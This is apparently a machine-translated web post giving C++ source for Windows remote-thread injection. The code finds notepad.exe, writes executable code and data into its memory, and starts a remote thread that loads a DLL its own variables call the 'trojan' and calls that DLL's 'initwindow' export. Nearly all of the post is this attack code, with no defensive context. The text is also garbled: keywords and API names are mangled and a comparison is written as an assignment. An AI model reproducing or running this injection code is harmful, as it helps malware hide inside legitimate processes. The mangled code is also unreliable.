Simple Example of injecting remote threads [modify]

# Include <windows. h>
# Include <tlhelp32.h>
# Include <cstdio>

Using namespace STD;
# Pragma warning (Disable: 4311)
# Pragma warning (Disable: 4312)

DWORD findtarget (lpctstr lpszprocess)
{
DWORD dwret = 0;
Handle hsnapshot = createconlhelp32snapshot (th32cs_snapprocess, 0 );
Processentry32 pe32;
Pe32.dwsize = sizeof (processentry32 );
Process32first (hsnapshot, & pe32 );
Do {
If (lstrcmpi (pe32.szexefile, lpszprocess) = 0 ){
Dwret = pe32.th32processid;
Break;
}
} While (process32next (hsnapshot, & pe32 ));
Closehandle (hsnapshot );

Return dwret;
}

 

// ============ Define a code structure. In this example, a dialog box ================
Struct mydata
{
Char SZ [64]; // The content displayed in the dialog box
DWORD dwmessagebox; // address of the dialog box
Char sztrojan [256];
Char szkernel [64];
DWORD dwloadlibrary;
DWORD dwgetprocaddress;
DWORD dwtrojanentry;
DWORD dwgetmodulehandle;
Char szcmd [64];
};

// =========== Functions of the remote thread ================================ ======
DWORD _ stdcall rmtfunc (mydata * pdata)
{
Typedef int (_ stdcall * mmessagebox) (hwnd, lpctstr, lpctstr, uint );
Mmessagebox msgbox = (mmessagebox) pdata-> dwmessagebox;
Msgbox (null, pdata-> SZ, null, mb_ OK );

Typedef hmodule (_ stdcall * ploadlibrary) (lpctstr );
Ploadlibrary plib = (ploadlibrary) pdata-> dwloadlibrary;
Plib (pdata-> szkernel); // load kernel32.dll
 
Typedef farproc (_ stdcall * pgetprocaddress) (hmodule, lpcstr );
Pgetprocaddress pgpaddress = (pgetprocaddress) pdata-> dwgetprocaddress;

Typedef hmodule (_ stdcall * pgetmodulehandle) (lpctstr );
Pgetmodulehandle pgmhandle = (pgetmodulehandle) pdata-> dwgetmodulehandle;

// Pgetmodulehandle (plib (pdata-> sztrojan); // load trojandll
Hinstance htrojan = plib (pdata-> sztrojan );
Typedef int (_ stdcall * IW )();
Iw iww = (IW) pgpaddress (htrojan, pdata-> szcmd );
IWW (); // load initwindow in svdlllg. dll
Return 0;
}
Int main (INT argc, char * argv [])
{
// ==== Obtain the process handle for creating remotethread ======================== =====
DWORD dwprocessid = findtarget ("notepad.exe ");
Handle hprocess = OpenProcess (
Process_all_access,
False,
Dwprocessid );

// =========== Code structure ====================================== ==================================
Tchar strtname [max_path];
 

 
Mydata data;
Zeromemory (& Data, sizeof (mydata ));
Strcat (data. sz, "content of the dialog box .");
Strcat (data. szkernel, "kernel32.dll ");

Hinstance htrojan = loadlibrary ("svdlllg. dll ");
Getmodulefilename (htrojan, strtname, max_path );
Strcat (data. sztrojan, strtname );
Strcat (data. szcmd, "initwindow ");

Hinstance huser = loadlibrary ("user32.dll ");
Hinstance hkernel = loadlibrary ("kernel32.dll ");
 
 
 

If (! Hkernel ){
Printf ("can not Load Library \ n ");
Return 0;
}
If (! Huser)
{
Printf ("can not load library. \ n ");
Return 0;
}
Data. dwmessagebox = (DWORD) getprocaddress (huser, "messageboxa ");
Data. dwgetprocaddress = (DWORD) getprocaddress (hkernel, "getprocaddress ");
Data. dwloadlibrary = (DWORD) getprocaddress (hkernel, "loadlibrarya ");
Data. dwgetmodulehandle = (DWORD) getprocaddress (hkernel, "getmodulehandlea ");

Freelibrary (huser );
Freelibrary (hkernel );
Freelibrary (htrojan );
If (! Data. dwmessagebox)
Return 0;

// ======================================================= ======================================
Void * premotethread
= Virtualallocex (hprocess, 0,
1024*4, mem_commit | mem_reserve,
Page_execute_readwrite );
If (! Premotethread)
Return 0;
If (! Writeprocessmemory (hprocess, premotethread, & rmtfunc, 1024*4, 0 ))
Return 0;

Mydata * pdata
= (Mydata *) virtualallocex (hprocess, 0,
Sizeof (mydata), mem_commit,
Page_readwrite );
If (! Pdata)
Return 0;

If (! Writeprocessmemory (hprocess, pdata, & Data, sizeof (mydata), 0 ))
Return 0;

// ============== Create a remote thread ================================= ==============================
Handle hthread
= Createremotethread (hprocess, 0,
0, (lpthread_start_routine) premotethread,
Pdata, 0, 0 );
If (! Hthread)
{
Printf ("remote thread creation failed ");
Return 0;
}
Closehandle (hthread );
Virtualfreeex (hprocess, premotethread, 1024*3, mem_release );
Virtualfreeex (hprocess, pdata, sizeof (mydata), mem_release );
Closehandle (hprocess );
Printf ("Hello world! \ N ");
Return 0;
}